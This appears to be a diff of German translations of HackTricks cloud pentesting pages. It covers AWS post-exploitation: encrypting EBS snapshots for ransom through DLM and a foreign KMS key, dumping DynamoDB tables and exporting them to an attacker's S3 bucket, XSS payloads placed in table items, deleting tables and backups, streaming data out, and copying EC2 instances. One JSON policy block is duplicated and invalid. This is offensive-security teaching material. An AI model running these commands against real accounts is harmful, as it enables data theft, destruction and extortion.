Ein Ransomware-Angriff kann durchgeführt werden, indem so viele EBS-Volumes wie möglich verschlüsselt und dann die aktuellen EC2-Instanzen, EBS-Volumes und Snapshots gelöscht werden. Um diese böswillige Aktivität zu automatisieren, kann man Amazon DLM verwenden, um die Snapshots mit einem KMS-Schlüssel aus einem anderen AWS-Konto zu verschlüsseln und die verschlüsselten Snapshots in ein anderes Konto zu übertragen. Alternativ könnten sie Snapshots ohne Verschlüsselung in ein von ihnen verwaltetes Konto übertragen und sie dort verschlüsseln. Obwohl es nicht einfach ist, bestehende EBS-Volumes oder Snapshots direkt zu verschlüsseln, ist es möglich, dies zu tun, indem man ein neues Volume oder Snapshot erstellt.
|
||||
|
||||
Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type.
|
||||
Zunächst wird ein Befehl verwendet, um Informationen zu Volumes zu sammeln, wie z.B. Instanz-ID, Volume-ID, Verschlüsselungsstatus, Anhangsstatus und Volumentyp.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.
|
||||
|
||||
Zweitens wird die Lebenszyklusrichtlinie erstellt. Dieser Befehl verwendet die DLM-API, um eine Lebenszyklusrichtlinie einzurichten, die automatisch täglich Snapshots der angegebenen Volumes zu einer festgelegten Zeit erstellt. Es werden auch spezifische Tags auf die Snapshots angewendet und Tags von den Volumes auf die Snapshots kopiert. Die policyDetails.json-Datei enthält die Einzelheiten der Lebenszyklusrichtlinie, wie Ziel-Tags, Zeitplan, die ARN des optionalen KMS-Schlüssels zur Verschlüsselung und das Zielkonto für die Snapshot-Freigabe, das in den CloudTrail-Protokollen des Opfers aufgezeichnet wird.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
|
||||
A template for the policy document can be seen here:
|
||||
|
||||
Ein Template für das Richtliniendokument kann hier gesehen werden:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## DynamoDB
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
@@ -12,342 +12,292 @@ For more information check:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).
|
||||
Ein Angreifer mit diesen Berechtigungen kann **Elemente aus Tabellen anhand des Primärschlüssels abrufen** (man kann nicht einfach nach allen Daten der Tabelle fragen). Das bedeutet, dass man die Primärschlüssel kennen muss (man kann dies erhalten, indem man die Tabellenmetadaten abruft (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb batch-get-item --request-items file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
{
|
||||
"ProductCatalog" : { // This is the table name
|
||||
"Keys": [
|
||||
{
|
||||
"Id" : { // Primary keys name
|
||||
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
"ProductCatalog" : { // This is the table name
|
||||
"Keys": [
|
||||
{
|
||||
"Id" : { // Primary keys name
|
||||
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="inline" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb batch-get-item \
|
||||
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
|
||||
--region <region>
|
||||
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen in der Tabelle
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:
|
||||
|
||||
**Ähnlich wie die vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
{
|
||||
"Id" : {
|
||||
"N": "205"
|
||||
"N": "205"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
With this permission it's also possible to use the **`transact-get-items`** method like:
|
||||
|
||||
Mit dieser Berechtigung ist es auch möglich, die **`transact-get-items`**-Methode wie folgt zu verwenden:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
--transact-items file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
[
|
||||
{
|
||||
"Get": {
|
||||
"Key": {
|
||||
"Id": {"N": "205"}
|
||||
},
|
||||
"TableName": "ProductCatalog"
|
||||
}
|
||||
}
|
||||
{
|
||||
"Get": {
|
||||
"Key": {
|
||||
"Id": {"N": "205"}
|
||||
},
|
||||
"TableName": "ProductCatalog"
|
||||
}
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch Auffinden sensibler Informationen in der Tabelle
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
|
||||
**Ähnlich wie die vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist. Es erlaubt die Verwendung eines [Teilsets von Vergleichen](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige Vergleich, der mit dem Primärschlüssel (der erscheinen muss) erlaubt ist, ist "EQ", sodass Sie keinen Vergleich verwenden können, um die gesamte DB in einer Anfrage abzurufen.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
{
|
||||
// With a.json
|
||||
{
|
||||
"Id" : {
|
||||
"ComparisonOperator":"EQ",
|
||||
"AttributeValueList": [ {"N": "205"} ]
|
||||
}
|
||||
"ComparisonOperator":"EQ",
|
||||
"AttributeValueList": [ {"N": "205"} ]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="inline" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb query \
|
||||
--table-name TargetTable \
|
||||
--key-condition-expression "AttributeName = :value" \
|
||||
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--key-condition-expression "AttributeName = :value" \
|
||||
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen in der Tabelle
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
You can use this permission to **dump the entire table easily**.
|
||||
|
||||
Sie können diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen in der Tabelle
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
You can use this permission to **dump the entire table easily**.
|
||||
|
||||
Sie können diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
|
||||
This permission also allow to perform `batch-execute-statement` like:
|
||||
|
||||
Diese Berechtigung erlaubt auch die Ausführung von `batch-execute-statement` wie:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
aber Sie müssen den Primärschlüssel mit einem Wert angeben, sodass es nicht so nützlich ist.
|
||||
|
||||
but you need to specify the primary key with a value, so it isn't that useful.
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch Auffinden sensibler Informationen in der Tabelle
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
This permission will allow an attacker to **export the whole table to a S3 bucket** of his election:
|
||||
|
||||
Diese Berechtigung ermöglicht es einem Angreifer, **die gesamte Tabelle in einen S3-Bucket** seiner Wahl zu exportieren:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
--s3-bucket <attacker_s3_bucket> \
|
||||
--s3-prefix <optional_prefix> \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
--s3-bucket <attacker_s3_bucket> \
|
||||
--s3-prefix <optional_prefix> \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
|
||||
|
||||
Beachten Sie, dass für dies die Tabelle die Punkt-in-Zeit-Wiederherstellung aktiviert haben muss. Sie können überprüfen, ob die Tabelle dies hat mit:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
--table-name <tablename>
|
||||
```
|
||||
|
||||
If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission:
|
||||
|
||||
Wenn es nicht aktiviert ist, müssen Sie es **aktivieren** und dafür benötigen Sie die **`dynamodb:ExportTableToPointInTime`** Berechtigung:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen in der Tabelle
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table.
|
||||
|
||||
Mit diesen Berechtigungen wäre ein Angreifer in der Lage, **eine neue Tabelle aus einem Backup zu erstellen** (oder sogar ein Backup zu erstellen, um es dann in einer anderen Tabelle wiederherzustellen). Dann könnte er, mit den notwendigen Berechtigungen, **Informationen** aus den Backups überprüfen, die **nicht mehr in der Produktion** Tabelle sein könnten.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table backup
|
||||
**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen im Tabellen-Backup
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.
|
||||
Diese Berechtigung erlaubt es Benutzern, ein **neues Element zur Tabelle hinzuzufügen oder ein vorhandenes Element** durch ein neues Element zu ersetzen. Wenn ein Element mit dem gleichen Primärschlüssel bereits existiert, wird das **gesamte Element durch das neue Element ersetzt**. Wenn der Primärschlüssel nicht existiert, wird ein neues Element mit dem angegebenen Primärschlüssel **erstellt**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
|
||||
{{#tab name="XSS Beispiel" }}
|
||||
```bash
|
||||
## Create new item with XSS payload
|
||||
aws dynamodb put-item --table <table_name> --item file://add.json
|
||||
### With add.json:
|
||||
{
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
},
|
||||
"Name": {
|
||||
"S": "Marc"
|
||||
},
|
||||
"Description": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
},
|
||||
"Name": {
|
||||
"S": "Marc"
|
||||
},
|
||||
"Description": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AI Example" }}
|
||||
|
||||
{{#tab name="AI Beispiel" }}
|
||||
```bash
|
||||
aws dynamodb put-item \
|
||||
--table-name ExampleTable \
|
||||
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
|
||||
--region <region>
|
||||
--table-name ExampleTable \
|
||||
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
|
||||
**Potenzielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/Umgehungen durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression.
|
||||
Diese Berechtigung ermöglicht es Benutzern, **die vorhandenen Attribute eines Elements zu ändern oder neue Attribute zu einem Element hinzuzufügen**. Es **ersetzt nicht** das gesamte Element; es aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle vorhanden ist, wird die Operation **ein neues Element erstellen** mit dem angegebenen Primärschlüssel und die im Aktualisierungsausdruck angegebenen Attribute festlegen.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
|
||||
```bash
|
||||
## Update item with XSS payload
|
||||
aws dynamodb update-item --table <table_name> \
|
||||
--key file://key.json --update-expression "SET Description = :value" \
|
||||
--expression-attribute-values file://val.json
|
||||
--key file://key.json --update-expression "SET Description = :value" \
|
||||
--expression-attribute-values file://val.json
|
||||
### With key.json:
|
||||
{
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
}
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
}
|
||||
}
|
||||
### and val.json
|
||||
{
|
||||
":value": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
":value": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AI Example" }}
|
||||
|
||||
{{#tab name="AI Beispiel" }}
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name ExampleTable \
|
||||
--key '{"Id": {"S": "1"}}' \
|
||||
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
|
||||
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
|
||||
--region <region>
|
||||
--table-name ExampleTable \
|
||||
--key '{"Id": {"S": "1"}}' \
|
||||
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
|
||||
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
|
||||
**Potenzielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/Umgehungen durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern.
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
An attacker with this permission can **delete a DynamoDB table, causing data loss**.
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung kann **eine DynamoDB-Tabelle löschen, was zu Datenverlust führt**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential impact**: Data loss and disruption of services relying on the deleted table.
|
||||
**Potenzielle Auswirkungen**: Datenverlust und Unterbrechung von Diensten, die auf der gelöschten Tabelle basieren.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**.
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung kann **ein DynamoDB-Backup löschen, was potenziell zu Datenverlust im Falle eines Katastrophenwiederherstellungsszenarios führen kann**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario.
|
||||
**Potenzielle Auswirkungen**: Datenverlust und Unfähigkeit, sich während eines Katastrophenwiederherstellungsszenarios von einem Backup zu erholen.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if this actually works
|
||||
> TODO: Testen, ob das tatsächlich funktioniert
|
||||
|
||||
An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage.
|
||||
|
||||
1. Enable a stream on a DynamoDB table:
|
||||
Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, um mit dem Streaming von Änderungen zu beginnen, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dies ermöglicht es dem Angreifer, Datenänderungen zu überwachen und zu exfiltrieren, was potenziell zu einem Datenleck führen kann.
|
||||
|
||||
1. Aktivieren Sie einen Stream auf einer DynamoDB-Tabelle:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
2. Describe the stream to obtain the ARN and other details:
|
||||
|
||||
2. Beschreiben Sie den Stream, um die ARN und andere Details zu erhalten:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
3. Get the shard iterator using the stream ARN:
|
||||
|
||||
3. Holen Sie sich den Shard-Iterator mit der Stream-ARN:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
4. Use the shard iterator to access and exfiltrate data from the stream:
|
||||
|
||||
4. Verwenden Sie den Shard-Iterator, um auf die Daten im Stream zuzugreifen und sie zu exfiltrieren:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes.
|
||||
**Potenzielle Auswirkungen**: Echtzeitüberwachung und Datenleckage der Änderungen der DynamoDB-Tabelle.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,27 +4,26 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Bösartiges VPC-Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\
|
||||
An attacker could abuse this to capture all the traffic and obtain sensitive information from it:
|
||||
VPC-Traffic-Mirroring **dupliziert den eingehenden und ausgehenden Verkehr für EC2-Instanzen innerhalb eines VPC** ohne die Notwendigkeit, etwas auf den Instanzen selbst zu installieren. Dieser duplizierte Verkehr würde normalerweise an etwas wie ein Netzwerk-Intrusion-Detection-System (IDS) zur Analyse und Überwachung gesendet werden.\
|
||||
Ein Angreifer könnte dies ausnutzen, um den gesamten Verkehr zu erfassen und sensible Informationen daraus zu erhalten:
|
||||
|
||||
For more information check this page:
|
||||
Für weitere Informationen siehe diese Seite:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**:
|
||||
### Laufende Instanz kopieren
|
||||
|
||||
Instanzen enthalten normalerweise eine Art von sensiblen Informationen. Es gibt verschiedene Möglichkeiten, um Zugang zu erhalten (siehe [EC2 Privilegieneskalationstricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Eine andere Möglichkeit, um zu überprüfen, was sie enthält, besteht darin, **eine AMI zu erstellen und eine neue Instanz (sogar in Ihrem eigenen Konto) daraus zu starten**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -48,211 +47,191 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
|
||||
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
```
|
||||
### EBS Snapshot-Dump
|
||||
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
|
||||
If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:
|
||||
**Snapshots sind Backups von Volumes**, die normalerweise **sensible Informationen** enthalten, daher sollte deren Überprüfung diese Informationen offenbaren.\
|
||||
